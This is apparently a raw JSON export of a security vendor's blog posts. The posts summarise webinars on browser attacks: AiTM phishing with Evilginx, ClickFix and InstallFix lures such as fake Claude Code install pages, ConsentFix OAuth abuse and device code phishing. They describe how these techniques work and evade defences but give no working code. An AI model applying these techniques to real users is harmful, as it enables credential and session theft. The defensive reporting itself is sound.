",{"data":37928,"content":37929,"nodeType":882},{"uri":9176},[37930],{"data":37931,"marks":37932,"value":315,"nodeType":865},{},[],{"data":37934,"marks":37935,"value":37936,"nodeType":865},{},[]," silently injects a malicious command into the victim's clipboard and instructs them to paste and execute it, delivering infostealer malware that harvests credentials and session tokens from the browser. Those stolen credentials fuel credential stuffing attacks across every SaaS app the victim has accounts on — particularly apps with ",{"data":37938,"content":37939,"nodeType":882},{"uri":10340},[37940],{"data":37941,"marks":37942,"value":10345,"nodeType":865},{},[],{"data":37944,"marks":37945,"value":37946,"nodeType":865},{},[]," where local password-based authentication still works even after SSO was configured. Compromised advertising and social media accounts are then used to distribute more ClickFix lures through ",{"data":37948,"content":37949,"nodeType":882},{"uri":3620},[37950],{"data":37951,"marks":37952,"value":37953,"nodeType":865},{},[],"Google search results, malvertising, and compromised websites",{"data":37955,"marks":37956,"value":37957,"nodeType":865},{},[],", and the cycle starts again.",{"data":37959,"content":37960,"nodeType":866},{},[37961,37965,37972,37976,37983],{"data":37962,"marks":37963,"value":37964,"nodeType":865},{},[],"The scale compounds with every rotation, and the numbers suggest the flywheel is already spinning fast — ",{"data":37966,"content":37967,"nodeType":882},{"uri":3620},[37968],{"data":37969,"marks":37970,"value":37971,"nodeType":865},{},[],"54% of all ransomware attacks in 2025 traced back to infostealer-enabled credential theft",{"data":37973,"marks":37974,"value":37975,"nodeType":865},{},[],", and ClickFix was identified as ",{"data":37977,"content":37978,"nodeType":882},{"uri":3620},[37979],{"data":37980,"marks":37981,"value":37982,"nodeType":865},{},[],"the most common initial access vector",{"data":37984,"marks":37985,"value":37986,"nodeType":865},{},[]," by Microsoft last year.",{"data":37988,"content":37989,"nodeType":866},{},[37990,37994,38001,38005,38012,38016,38023,38026,38033],{"data":37991,"marks":37992,"value":37993,"nodeType":865},{},[],"Push breaks the chain at multiple points: detecting ",{"data":37995,"content":37996,"nodeType":882},{"uri":9176},[37997],{"data":37998,"marks":37999,"value":38000,"nodeType":865},{},[],"ClickFix clipboard injection",{"data":38002,"marks":38003,"value":38004,"nodeType":865},{},[]," before the payload reaches the endpoint, ",{"data":38006,"content":38007,"nodeType":882},{"uri":25806},[38008],{"data":38009,"marks":38010,"value":38011,"nodeType":865},{},[],"identifying stolen credentials",{"data":38013,"marks":38014,"value":38015,"nodeType":865},{},[]," when they're actively used in login attempts, flagging ",{"data":38017,"content":38018,"nodeType":882},{"uri":37870},[38019],{"data":38020,"marks":38021,"value":38022,"nodeType":865},{},[],"accounts missing MFA",{"data":38024,"marks":38025,"value":3892,"nodeType":865},{},[],{"data":38027,"content":38028,"nodeType":882},{"uri":5481},[38029],{"data":38030,"marks":38031,"value":38032,"nodeType":865},{},[],"detecting session hijacking",{"data":38034,"marks":38035,"value":38036,"nodeType":865},{},[]," when stolen tokens are replayed outside the protected browser.",{"data":38038,"content":38039,"nodeType":953},{},[],{"data":38041,"content":38042,"nodeType":963},{},[38043],{"data":38044,"marks":38045,"value":38047,"nodeType":865},{},[38046],{"type":961},"The bigger picture",{"data":38049,"content":38050,"nodeType":866},{},[38051],{"data":38052,"marks":38053,"value":38054,"nodeType":865},{},[],"The conversation with Troy reinforced something we see in our own data every day: the credential problem isn't just an awareness problem — and better technical controls are needed. Organizations know credentials get compromised, they subscribe to breach notification services, and they run security awareness training, but without the ability to match that intelligence against what's actually happening in the browser — which credentials are in active use, which accounts lack MFA, which logins bypass SSO entirely — the gap between knowing about a compromised credential and being able to do anything about it remains vast.",{"data":38056,"content":38057,"nodeType":866},{},[38058],{"data":38059,"marks":38060,"value":38061,"nodeType":865},{},[],"Troy's work at Have I Been Pwned has made that gap more visible than anyone else could, and the conversation is worth watching in full for the practitioner-level detail he brings to a problem most organizations are still underestimating.",{"data":38063,"content":38064,"nodeType":866},{},[38065,38068,38077,38081,38087],{"data":38066,"marks":38067,"value":21,"nodeType":865},{},[],{"data":38069,"content":38071,"nodeType":882},{"uri":38070},"https://pushsecurity.com/resources/yes-youve-been-pwned",[38072],{"data":38073,"marks":38074,"value":38076,"nodeType":865},{},[38075],{"type":997},"Watch the full webinar",{"data":38078,"marks":38079,"value":38080,"nodeType":865},{},[]," to hear the full conversation — or ",{"data":38082,"content":38083,"nodeType":882},{"uri":1728},[38084],{"data":38085,"marks":38086,"value":15208,"nodeType":865},{},[],{"data":38088,"marks":38089,"value":38090,"nodeType":865},{},[]," to see how Push turns credential intelligence into actionable detections.",{"entries":38092},{"hyperlink":38093,"inline":38094,"block":38095},[],[],[38096],{"sys":38097,"__typename":5631,"type":5632,"ctaText":38098,"buttonLabel":38099,"buttonColour":5635,"buttonUrl":38070},{"id":37467},"Watch the full webinar on demand.","Click here",{"items":38101},[],{},"7 things we learned from our conversation with Troy Hunt",{"items":38105},[38106,38699,39420],{"__typename":1788,"sys":38107,"content":38109,"title":38686,"synopsis":38687,"hashTags":59,"publishedDate":35524,"slug":38688,"tagsCollection":38689,"authorsCollection":38695},{"id":38108},"6V12IJexyAkFFVIrbwlNPq",{"json":38110},{"data":38111,"content":38112,"nodeType":1739},{},[38113,38133,38139,38142,38150,38200,38210,38213,38221,38239,38246,38269,38287,38290,38298,38316,38323,38330,38340,38343,38351,38382,38400,38403,38411,38428,38435,38442,38445,38453,38470,38477,38495,38505,38512,38515,38523,38539,38546,38553,38565,38575,38592,38595,38603,38610,38658],{"data":38114,"content":38115,"nodeType":866},{},[38116,38120,38129],{"data":38117,"marks":38118,"value":38119,"nodeType":865},{},[],"We recently sat down with ",{"data":38121,"content":38123,"nodeType":882},{"uri":38122},"https://www.youtube.com/@_JohnHammond",[38124],{"data":38125,"marks":38126,"value":38128,"nodeType":865},{},[38127],{"type":997},"John Hammond",{"data":38130,"marks":38131,"value":38132,"nodeType":865},{},[]," — Senior Principal Security Researcher at Huntress — for a live deep-dive into the browser-based attack techniques defining the 2026 threat landscape. The session covered AiTM phishing, ClickFix, ConsentFix, device code phishing, and the structural shifts making traditional security controls less effective against all of them. Here are seven takeaways.",{"data":38134,"content":38138,"nodeType":925},{"target":38135},{"sys":38136},{"id":38137,"type":922,"linkType":923},"5lJ49aLY0nApDeY69tNvUi",[],{"data":38140,"content":38141,"nodeType":953},{},[],{"data":38143,"content":38144,"nodeType":963},{},[38145],{"data":38146,"marks":38147,"value":38149,"nodeType":865},{},[38148],{"type":961},"1. Browser attacks are evolving faster than defenses can adapt",{"data":38151,"content":38152,"nodeType":866},{},[38153,38157,38164,38168,38175,38179,38186,38190,38197],{"data":38154,"marks":38155,"value":38156,"nodeType":865},{},[],"The overriding theme of the session wasn't any single technique — it was the pace of change across all of them. AiTM phishing has been ",{"data":38158,"content":38159,"nodeType":882},{"uri":8581},[38160],{"data":38161,"marks":38162,"value":38163,"nodeType":865},{},[],"the dominant phishing technique",{"data":38165,"marks":38166,"value":38167,"nodeType":865},{},[]," for a couple of years now, but the variants layered on top of it are arriving faster than most security teams can evaluate, let alone deploy defenses against. ClickFix went from novel to ",{"data":38169,"content":38170,"nodeType":882},{"uri":3620},[38171],{"data":38172,"marks":38173,"value":38174,"nodeType":865},{},[],"the most common initial access vector observed by Microsoft",{"data":38176,"marks":38177,"value":38178,"nodeType":865},{},[]," within about a year. Device code phishing went from near-zero to ",{"data":38180,"content":38181,"nodeType":882},{"uri":1384},[38182],{"data":38183,"marks":38184,"value":38185,"nodeType":865},{},[],"at least 12 distinct kits",{"data":38187,"marks":38188,"value":38189,"nodeType":865},{},[]," in a matter of months. ConsentFix was detected as a zero-day technique by Push in late 2025 and has already been ",{"data":38191,"content":38192,"nodeType":882},{"uri":3009},[38193],{"data":38194,"marks":38195,"value":38196,"nodeType":865},{},[],"operationalized on criminal forums",{"data":38198,"marks":38199,"value":1048,"nodeType":865},{},[],{"data":38201,"content":38202,"nodeType":11214},{},[38203],{"data":38204,"content":38205,"nodeType":866},{},[38206],{"data":38207,"marks":38208,"value":38209,"nodeType":865},{},[],"As Luke put it toward the end of the session: \"I've seen this develop so fast over the last two years. This isn't what's coming — this is now. This is where the battleground is.\"",{"data":38211,"content":38212,"nodeType":953},{},[],{"data":38214,"content":38215,"nodeType":963},{},[38216],{"data":38217,"marks":38218,"value":38220,"nodeType":865},{},[38219],{"type":961},"2. AiTM phishing is table stakes for attackers ",{"data":38222,"content":38223,"nodeType":866},{},[38224,38228,38235],{"data":38225,"marks":38226,"value":38227,"nodeType":865},{},[],"Adversary-in-the-middle phishing — where a reverse proxy sits between the victim and the real login page, intercepting session tokens in real time to bypass MFA — is no longer an advanced technique. It's available as a commodity for-hire through Phishing-as-a-Service platforms like Tycoon2FA, Sneaky2FA, and others",{"data":38229,"content":38230,"nodeType":882},{"uri":8581},[38231],{"data":38232,"marks":38233,"value":26083,"nodeType":865},{},[38234],{"type":997},{"data":38236,"marks":38237,"value":38238,"nodeType":865},{},[]," and the kits are getting harder to detect through traditional means.",{"data":38240,"content":38241,"nodeType":866},{},[38242],{"data":38243,"marks":38244,"value":38245,"nodeType":865},{},[],"Luke demoed the attacker's perspective using Evilginx — an open-source tool now commonly seen in criminal operations — showing how session tokens are captured in real time even when the victim enters their MFA code correctly. From the victim's side, the login feels completely normal.",{"data":38247,"content":38248,"nodeType":866},{},[38249,38254,38258,38266],{"data":38250,"marks":38251,"value":38253,"nodeType":865},{},[38252],{"type":961},"One of the key focuses in the session was how attackers are abusing legitimate infrastructure for both hosting and delivery of phishing pages. .",{"data":38255,"marks":38256,"value":38257,"nodeType":865},{},[]," The in-the-wild examples showed attack chains routing through multiple legitimate services — file-sharing platforms, TinyURL, Cloudflare Turnstile, Google Search redirects — before finally landing on the phishing page. This is a well established technique for ",{"data":38259,"content":38260,"nodeType":882},{"uri":13634},[38261],{"data":38262,"marks":38263,"value":38265,"nodeType":865},{},[38264],{"type":997},"detection evasion",{"data":38267,"marks":38268,"value":22525,"nodeType":865},{},[],{"data":38270,"content":38271,"nodeType":866},{},[38272,38276,38283],{"data":38273,"marks":38274,"value":38275,"nodeType":865},{},[],"As John observed, \"the end user doesn't have that wherewithal or that observability understanding of how far they drove around across the internet\" before arriving at the credential-harvesting page. Push reconstructs these multi-hop chains into a ",{"data":38277,"content":38278,"nodeType":882},{"uri":5481},[38279],{"data":38280,"marks":38281,"value":38282,"nodeType":865},{},[],"complete timeline",{"data":38284,"marks":38285,"value":38286,"nodeType":865},{},[],", mapping the full redirect sequence even when individual hops are through trusted domains that wouldn't trigger any reputation-based alert — and crucially, detects malicious content on the phishing page itself rather than relying on known-bad IP and domain based checks that can only see the known-good sites used early in the chain.",{"data":38288,"content":38289,"nodeType":953},{},[],{"data":38291,"content":38292,"nodeType":963},{},[38293],{"data":38294,"marks":38295,"value":38297,"nodeType":865},{},[38296],{"type":961},"3. Email is losing its market share as a delivery vector",{"data":38299,"content":38300,"nodeType":866},{},[38301,38305,38312],{"data":38302,"marks":38303,"value":38304,"nodeType":865},{},[],"One of the most striking examples in the webinar was a targeted AiTM campaign ",{"data":38306,"content":38307,"nodeType":882},{"uri":5179},[38308],{"data":38309,"marks":38310,"value":38311,"nodeType":865},{},[],"Push detected last year",{"data":38313,"marks":38314,"value":38315,"nodeType":865},{},[]," that was delivered entirely via LinkedIn. Senior executives at tech companies received direct messages from compromised contacts — people they already knew, in some cases other employees of the same companies — offering involvement in private equity fundraising rounds connected to companies they had real involvement with. The targeting was precise and personal, and the redirect chain ran through sites.google.com and Microsoft Dynamics before landing on a cloned login page.",{"data":38317,"content":38318,"nodeType":866},{},[38319],{"data":38320,"marks":38321,"value":38322,"nodeType":865},{},[],"As Luke noted, LinkedIn occupies an unusual middle ground: \"It's this great way of targeting companies, but through a vector that can't really be monitored in the same way as other corporate systems, because it's kind of a personal platform.\" It's personal enough that companies can't realistically monitor it, but professional enough that employees routinely access it from corporate devices.",{"data":38324,"content":38325,"nodeType":866},{},[38326],{"data":38327,"marks":38328,"value":38329,"nodeType":865},{},[],"LinkedIn is only part of the shift. ClickFix attacks most commonly arrive via search results in 4 of 5 cases based on Push data. Luke noted \"not even malvertising, just organic search, uncovering legit websites that have been compromised.\" InstallFix pages appear as sponsored Google ads. ConsentFix pages were seeded on compromised websites found through normal browsing. In every case, the email gateway never sees the lure because the lure was never in an email. And of course, even if a compromised website is reported and removed, it’s easier than ever for an attacker to quickly tear down and rotate their sites to stay ahead of blocklists. ",{"data":38331,"content":38332,"nodeType":11214},{},[38333],{"data":38334,"content":38335,"nodeType":866},{},[38336],{"data":38337,"marks":38338,"value":38339,"nodeType":865},{},[],"As John put it: \"You could set up this lure or this trap out on the open internet so that anyone could fall for it at any point.\"",{"data":38341,"content":38342,"nodeType":953},{},[],{"data":38344,"content":38345,"nodeType":963},{},[38346],{"data":38347,"marks":38348,"value":38350,"nodeType":865},{},[38349],{"type":961},"4. ClickFix keeps evolving with multiple *Fix derivatives",{"data":38352,"content":38353,"nodeType":866},{},[38354,38358,38366,38370,38378],{"data":38355,"marks":38356,"value":38357,"nodeType":865},{},[],"ClickFix — where a malicious page silently writes a payload to the victim's clipboard and instructs them to paste and execute it — ",{"data":38359,"content":38360,"nodeType":882},{"uri":9176},[38361],{"data":38362,"marks":38363,"value":38365,"nodeType":865},{},[38364],{"type":997},"spawned an entire family of variants since its emergence, according to Push’s research",{"data":38367,"marks":38368,"value":38369,"nodeType":865},{},[],". The webinar showed how far the social engineering has come: Luke demonstrated a ",{"data":38371,"content":38373,"nodeType":882},{"uri":38372},"https://pushsecurity.com/blog/the-most-advanced-clickfix-yet/",[38374],{"data":38375,"marks":38376,"value":38377,"nodeType":865},{},[],"particularly sophisticated variant",{"data":38379,"marks":38380,"value":38381,"nodeType":865},{},[]," on a compromised legitimate website with an embedded instructional video and a countdown timer to manufacture urgency, targeting macOS. As John noted: \"It can be cross-platform because you're just preying on the human weakness. The video smooths it over for the user experience.\"",{"data":38383,"content":38384,"nodeType":866},{},[38385,38389,38396],{"data":38386,"marks":38387,"value":38388,"nodeType":865},{},[],"The more important point was structural. Because the user manually pastes and executes the command, \"from the EDR's perspective, the user just manually ran this command,\" Luke explained. \"It actually breaks that link from an EDR's perspective.\" EDR behavioral detections weigh execution context heavily — a PowerShell command spawned from a browser process tree is suspicious, but the same command initiated through the Run dialog looks like normal activity. Push ",{"data":38390,"content":38391,"nodeType":882},{"uri":9176},[38392],{"data":38393,"marks":38394,"value":38395,"nodeType":865},{},[],"detects ClickFix at the clipboard-injection stage",{"data":38397,"marks":38398,"value":38399,"nodeType":865},{},[],", before the payload ever reaches the endpoint, to bolster endpoint-level detections and extend protection to machines like BYOD, contractor, or developer devices where EDR is often missing or tuned-down.",{"data":38401,"content":38402,"nodeType":953},{},[],{"data":38404,"content":38405,"nodeType":963},{},[38406],{"data":38407,"marks":38408,"value":38410,"nodeType":865},{},[38409],{"type":961},"5. InstallFix turned the AI tool boom into an attack surface overnight",{"data":38412,"content":38413,"nodeType":866},{},[38414,38417,38424],{"data":38415,"marks":38416,"value":21,"nodeType":865},{},[],{"data":38418,"content":38419,"nodeType":882},{"uri":11342},[38420],{"data":38421,"marks":38422,"value":19228,"nodeType":865},{},[38423],{"type":997},{"data":38425,"marks":38426,"value":38427,"nodeType":865},{},[]," — a ClickFix variant that clones legitimate developer tool installation pages and swaps the install command for a malicious payload — was one of the clearest examples of how quickly a new attack pattern can go from zero to dominant. Luke showed side-by-side comparisons of real and fake Claude Code installation pages that were visually identical except for the payload itself, and fake Notebook LM pages appearing as top Google sponsored results.",{"data":38429,"content":38430,"nodeType":866},{},[38431],{"data":38432,"marks":38433,"value":38434,"nodeType":865},{},[],"The trajectory Luke described was striking: \"It literally started one day and then it's just been nonstop for the last couple of months since it started. It obviously is working really well.\" John added that the Claude Code variant in particular has been \"running rampant,\" and that he personally knows someone who fell for it.",{"data":38436,"content":38437,"nodeType":866},{},[38438],{"data":38439,"marks":38440,"value":38441,"nodeType":865},{},[],"What makes InstallFix effective is that it exploits a workflow that's become completely normalized — the rise of AI tools has encouraged even non-technical users to install software via terminal commands copied from documentation pages. When the fake page looks identical to the real one and the install method is exactly what you'd expect, the only tell is a base64-encoded payload that most users wouldn't think to scrutinize.",{"data":38443,"content":38444,"nodeType":953},{},[],{"data":38446,"content":38447,"nodeType":963},{},[38448],{"data":38449,"marks":38450,"value":38452,"nodeType":865},{},[38451],{"type":961},"6. ConsentFix plays out entirely in the browser, and criminals just got the playbook",{"data":38454,"content":38455,"nodeType":866},{},[38456,38459,38466],{"data":38457,"marks":38458,"value":21,"nodeType":865},{},[],{"data":38460,"content":38461,"nodeType":882},{"uri":11102},[38462],{"data":38463,"marks":38464,"value":11095,"nodeType":865},{},[38465],{"type":997},{"data":38467,"marks":38468,"value":38469,"nodeType":865},{},[]," was a key focus in the webinar, and for good reason — it represents a fundamentally different class of browser attack. Rather than proxying credentials (AiTM) or injecting endpoint payloads (ClickFix), ConsentFix abuses the OAuth authorization code flow via the Azure CLI's localhost redirect to obtain access tokens without ever touching a password or MFA prompt. As John put it: \"This one is really tricky because the entire attack and technique lives only within the browser. There are no little EDR artifacts to poke and play at.\"",{"data":38471,"content":38472,"nodeType":866},{},[38473],{"data":38474,"marks":38475,"value":38476,"nodeType":865},{},[],"Luke described how Push first detected ConsentFix in the wild — a genuine zero-day discovery that took multiple encounters to fully understand. The attackers were fingerprinting visitors by IP and browser, triggering the payload only once per visitor across all compromised sites, and performing conditional access checks on the email address provided before deciding whether to proceed. \"It took us seeing it a few times before we cracked it,\" Luke explained. \"And then we were like — wow. What is this? I've never seen this before.\"",{"data":38478,"content":38479,"nodeType":866},{},[38480,38484,38491],{"data":38481,"marks":38482,"value":38483,"nodeType":865},{},[],"The session then took an interesting turn when John revealed something he hadn't previously shared publicly: a  ",{"data":38485,"content":38486,"nodeType":882},{"uri":3009},[38487],{"data":38488,"marks":38489,"value":38490,"nodeType":865},{},[],"ConsentFix v3 toolkit",{"data":38492,"marks":38493,"value":38494,"nodeType":865},{},[]," posted on a well-known criminal forum, complete with a tutorial video, step-by-step instructions, and a zero-infrastructure approach using Cloudflare Workers for hosting, Dropbox for PDF delivery, and Pipedream as an automated exfiltration channel. \"They don’t need any infrastructure,\" John noted. \"They don’t have to host any servers or VPS. They could just cast this out to the whole wide world on the open internet.\"",{"data":38496,"content":38497,"nodeType":11214},{},[38498],{"data":38499,"content":38500,"nodeType":866},{},[38501],{"data":38502,"marks":38503,"value":38504,"nodeType":865},{},[],"Luke's assessment was clear: \"When we published our first article, we were thinking, surely we're going to see a huge increase in this technique. We haven't really — until now.\" ",{"data":38506,"content":38507,"nodeType":866},{},[38508],{"data":38509,"marks":38510,"value":38511,"nodeType":865},{},[],"With the criminal ecosystem now tooled up, the expectation is that ConsentFix will follow the same commoditization arc as other techniques discussed in the session.",{"data":38513,"content":38514,"nodeType":953},{},[],{"data":38516,"content":38517,"nodeType":963},{},[38518],{"data":38519,"marks":38520,"value":38522,"nodeType":865},{},[38521],{"type":961},"7. Device code phishing is the technique both speakers fear most (and it's just getting started)",{"data":38524,"content":38525,"nodeType":866},{},[38526,38530,38536],{"data":38527,"marks":38528,"value":38529,"nodeType":865},{},[],"When John asked Luke which technique felt most dangerous, the answer was immediate: ",{"data":38531,"content":38532,"nodeType":882},{"uri":1384},[38533],{"data":38534,"marks":38535,"value":29100,"nodeType":865},{},[],{"data":38537,"marks":38538,"value":22525,"nodeType":865},{},[],{"data":38540,"content":38541,"nodeType":866},{},[38542],{"data":38543,"marks":38544,"value":38545,"nodeType":865},{},[],"The technique abuses the OAuth 2.0 device authorization grant flow — originally designed for input-constrained devices like TVs, but now primarily used in enterprise environments for CLI tool authentication (Azure CLI, GitHub CLI, AWS CLI). That everyday enterprise usage is exactly what makes the phishing so effective: users in developer-heavy organizations are already habituated to entering short codes as part of their normal workflow. The victim enters a code on a legitimate Microsoft login page, and if they're already authenticated, the entire compromise happens without entering a password or completing an MFA challenge.",{"data":38547,"content":38548,"nodeType":866},{},[38549],{"data":38550,"marks":38551,"value":38552,"nodeType":865},{},[],"Push is now tracking at least 12 distinct device code phishing kits, \"literally within the last couple of months — from basically zero to this.\" EvilTokens dominates at an estimated 90–95% of detected volume, but the kit landscape is diversifying fast. Luke's theory: every existing AiTM vendor is adding device code phishing as a module. When Push investigated the Venom kit, its AiTM component triggered existing Sneaky2FA detections — suggesting the same actors or codebase behind both. \"That's why we've seen such a rapid increase — it's worked so well that everyone is just doing the same thing now.\"",{"data":38554,"content":38555,"nodeType":866},{},[38556,38561],{"data":38557,"marks":38558,"value":38560,"nodeType":865},{},[38559],{"type":961},"What makes device code phishing uniquely dangerous is how little friction it presents to the victim.",{"data":38562,"marks":38563,"value":38564,"nodeType":865},{},[]," As Luke explained: \"It's purely identity-driven. It completely bypasses 2FA, even bypasses phishing-resistant factors like passkeys. And it's just not something that seems malicious to your average user. We haven't trained people to worry about being given a code and being told to type that code.\"",{"data":38566,"content":38567,"nodeType":11214},{},[38568],{"data":38569,"content":38570,"nodeType":866},{},[38571],{"data":38572,"marks":38573,"value":38574,"nodeType":865},{},[],"John's closing take: \"It still feels early and emergent, even though the technique has been known for a while. It hasn't been weaponized like it has right now. I think device code is just at the starting gun.\" ",{"data":38576,"content":38577,"nodeType":866},{},[38578,38582,38589],{"data":38579,"marks":38580,"value":38581,"nodeType":865},{},[],"The blast radius extends beyond Microsoft too — GitHub, Salesforce, and other platforms support the same underlying flow, and was exploited in 2025’s massive Salesforce campaign operated by ",{"data":38583,"content":38584,"nodeType":882},{"uri":4236},[38585],{"data":38586,"marks":38587,"value":4241,"nodeType":865},{},[38588],{"type":997},{"data":38590,"marks":38591,"value":1048,"nodeType":865},{},[],{"data":38593,"content":38594,"nodeType":953},{},[],{"data":38596,"content":38597,"nodeType":963},{},[38598],{"data":38599,"marks":38600,"value":38602,"nodeType":865},{},[38601],{"type":961},"What ties all of this together",{"data":38604,"content":38605,"nodeType":866},{},[38606],{"data":38607,"marks":38608,"value":38609,"nodeType":865},{},[],"Every technique covered in the webinar — AiTM, ClickFix, InstallFix, ConsentFix, device code phishing — is designed to operate in or through the browser, abuse legitimate infrastructure and authentication flows, and evade the traditional security stack. Email gateways don't see them because the delivery vector increasingly isn't email. EDR doesn't reliably block them because the attack either breaks the process tree attribution (ClickFix) or never touches the endpoint at all (ConsentFix, device code phishing). Network proxies don't see them because the attack plays out in client-side page content, DOM interactions, and OAuth flows that are invisible to traffic inspection.",{"data":38611,"content":38612,"nodeType":866},{},[38613,38617,38623,38626,38633,38636,38643,38647,38654],{"data":38614,"marks":38615,"value":38616,"nodeType":865},{},[],"Push detects all of them — ",{"data":38618,"content":38619,"nodeType":882},{"uri":5481},[38620],{"data":38621,"marks":38622,"value":261,"nodeType":865},{},[],{"data":38624,"marks":38625,"value":26083,"nodeType":865},{},[],{"data":38627,"content":38628,"nodeType":882},{"uri":9176},[38629],{"data":38630,"marks":38631,"value":38632,"nodeType":865},{},[]," ClickFix and the *Fix family",{"data":38634,"marks":38635,"value":26083,"nodeType":865},{},[],{"data":38637,"content":38638,"nodeType":882},{"uri":11102},[38639],{"data":38640,"marks":38641,"value":38642,"nodeType":865},{},[]," ConsentFix",{"data":38644,"marks":38645,"value":38646,"nodeType":865},{},[],", and",{"data":38648,"content":38649,"nodeType":882},{"uri":1384},[38650],{"data":38651,"marks":38652,"value":38653,"nodeType":865},{},[]," device code phishing",{"data":38655,"marks":38656,"value":38657,"nodeType":865},{},[]," — through behavioral detection at the browser layer, regardless of delivery channel, domain reputation, or infrastructure rotation. The detections target technique-class behaviors rather than specific kits or indicators, which is why Push detected ConsentFix as a zero-day and why new kit variants are typically caught by existing detection logic before a kit-specific rule is even written.",{"data":38659,"content":38660,"nodeType":866},{},[38661,38664,38672,38676,38682],{"data":38662,"marks":38663,"value":21,"nodeType":865},{},[],{"data":38665,"content":38667,"nodeType":882},{"uri":38666},"https://pushsecurity.com/resources/browser-attacks-why-browser-new-battleground",[38668],{"data":38669,"marks":38670,"value":38076,"nodeType":865},{},[38671],{"type":997},{"data":38673,"marks":38674,"value":38675,"nodeType":865},{},[]," to see the demos, attack chain timelines, and in-the-wild examples discussed in this post — or ",{"data":38677,"content":38678,"nodeType":882},{"uri":1728},[38679],{"data":38680,"marks":38681,"value":15208,"nodeType":865},{},[],{"data":38683,"marks":38684,"value":38685,"nodeType":865},{},[]," to see how Push handles them.","7 things we learned from ‘Why the browser is the new battleground’ with John Hammond","Here are 7 things we learned from our conversation with John Hammond on the \"Why the browser is the new battleground\" webinar. ","7-things-we-learned-from-john-hammond",{"items":38690},[38691,38693],{"sys":38692,"name":11426},{"id":11425},{"sys":38694,"name":297},{"id":2828},{"items":38696},[38697],{"fullName":28907,"firstName":28908,"jobTitle":28909,"profilePicture":38698},{"url":28911},{"__typename":1788,"sys":38700,"content":38701,"title":19778,"synopsis":19779,"hashTags":59,"publishedDate":19780,"slug":19781,"tagsCollection":39410,"authorsCollection":39416},{"id":15449},{"json":38702},{"data":38703,"content":38704,"nodeType":1739},{},[38705,38720,38735,38750,38755,38758,38765,38771,38777,38783,38789,38796,38799,38806,38812,38818,38824,38829,38836,38851,38857,38863,38876,38883,38907,38920,38926,38950,38957,38981,38987,38994,39009,39015,39021,39026,39032,39039,39054,39060,39076,39082,39085,39092,39098,39173,39179,39192,39195,39220,39235,39241,39247,39250,39257,39272,39278,39284,39299,39302,39309,39315,39345,39351,39366,39381,39386,39389,39395],{"data":38706,"content":38707,"nodeType":866},{},[38708,38711,38717],{"data":38709,"marks":38710,"value":18958,"nodeType":865},{},[],{"data":38712,"content":38713,"nodeType":882},{"uri":18961},[38714],{"data":38715,"marks":38716,"value":18966,"nodeType":865},{},[],{"data":38718,"marks":38719,"value":18970,"nodeType":865},{},[],{"data":38721,"content":38722,"nodeType":866},{},[38723,38726,38732],{"data":38724,"marks":38725,"value":18977,"nodeType":865},{},[],{"data":38727,"content":38728,"nodeType":882},{"uri":18980},[38729],{"data":38730,"marks":38731,"value":18985,"nodeType":865},{},[],{"data":38733,"marks":38734,"value":18989,"nodeType":865},{},[],{"data":38736,"content":38737,"nodeType":866},{},[38738,38741,38747],{"data":38739,"marks":38740,"value":18996,"nodeType":865},{},[],{"data":38742,"content":38743,"nodeType":882},{"uri":18999},[38744],{"data":38745,"marks":38746,"value":15454,"nodeType":865},{},[],{"data":38748,"marks":38749,"value":19007,"nodeType":865},{},[],{"data":38751,"content":38754,"nodeType":925},{"target":38752},{"sys":38753},{"id":19012,"type":922,"linkType":923},[],{"data":38756,"content":38757,"nodeType":953},{},[],{"data":38759,"content":38760,"nodeType":963},{},[38761],{"data":38762,"marks":38763,"value":19024,"nodeType":865},{},[38764],{"type":961},{"data":38766,"content":38767,"nodeType":866},{},[38768],{"data":38769,"marks":38770,"value":19031,"nodeType":865},{},[],{"data":38772,"content":38773,"nodeType":866},{},[38774],{"data":38775,"marks":38776,"value":19038,"nodeType":865},{},[],{"data":38778,"content":38779,"nodeType":866},{},[38780],{"data":38781,"marks":38782,"value":19045,"nodeType":865},{},[],{"data":38784,"content":38785,"nodeType":866},{},[38786],{"data":38787,"marks":38788,"value":19052,"nodeType":865},{},[],{"data":38790,"content":38791,"nodeType":866},{},[38792],{"data":38793,"marks":38794,"value":19060,"nodeType":865},{},[38795],{"type":961},{"data":38797,"content":38798,"nodeType":953},{},[],{"data":38800,"content":38801,"nodeType":963},{},[38802],{"data":38803,"marks":38804,"value":19071,"nodeType":865},{},[38805],{"type":961},{"data":38807,"content":38808,"nodeType":866},{},[38809],{"data":38810,"marks":38811,"value":19078,"nodeType":865},{},[],{"data":38813,"content":38814,"nodeType":866},{},[38815],{"data":38816,"marks":38817,"value":19085,"nodeType":865},{},[],{"data":38819,"content":38820,"nodeType":866},{},[38821],{"data":38822,"marks":38823,"value":19092,"nodeType":865},{},[],{"data":38825,"content":38828,"nodeType":925},{"target":38826},{"sys":38827},{"id":19097,"type":922,"linkType":923},[],{"data":38830,"content":38831,"nodeType":1458},{},[38832],{"data":38833,"marks":38834,"value":19106,"nodeType":865},{},[38835],{"type":961},{"data":38837,"content":38838,"nodeType":866},{},[38839,38842,38848],{"data":38840,"marks":38841,"value":19113,"nodeType":865},{},[],{"data":38843,"content":38844,"nodeType":882},{"uri":8581},[38845],{"data":38846,"marks":38847,"value":19120,"nodeType":865},{},[],{"data":38849,"marks":38850,"value":19124,"nodeType":865},{},[],{"data":38852,"content":38853,"nodeType":866},{},[38854],{"data":38855,"marks":38856,"value":19131,"nodeType":865},{},[],{"data":38858,"content":38859,"nodeType":866},{},[38860],{"data":38861,"marks":38862,"value":19138,"nodeType":865},{},[],{"data":38864,"content":38865,"nodeType":866},{},[38866,38869,38873],{"data":38867,"marks":38868,"value":19145,"nodeType":865},{},[],{"data":38870,"marks":38871,"value":19150,"nodeType":865},{},[38872],{"type":961},{"data":38874,"marks":38875,"value":19154,"nodeType":865},{},[],{"data":38877,"content":38878,"nodeType":1458},{},[38879],{"data":38880,"marks":38881,"value":19162,"nodeType":865},{},[38882],{"type":961},{"data":38884,"content":38885,"nodeType":866},{},[38886,38889,38895,38898,38904],{"data":38887,"marks":38888,"value":19169,"nodeType":865},{},[],{"data":38890,"content":38891,"nodeType":882},{"uri":10494},[38892],{"data":38893,"marks":38894,"value":19176,"nodeType":865},{},[],{"data":38896,"marks":38897,"value":19180,"nodeType":865},{},[],{"data":38899,"content":38900,"nodeType":882},{"uri":1362},[38901],{"data":38902,"marks":38903,"value":19187,"nodeType":865},{},[],{"data":38905,"marks":38906,"value":19191,"nodeType":865},{},[],{"data":38908,"content":38909,"nodeType":866},{},[38910,38913,38917],{"data":38911,"marks":38912,"value":19198,"nodeType":865},{},[],{"data":38914,"marks":38915,"value":19203,"nodeType":865},{},[38916],{"type":961},{"data":38918,"marks":38919,"value":19207,"nodeType":865},{},[],{"data":38921,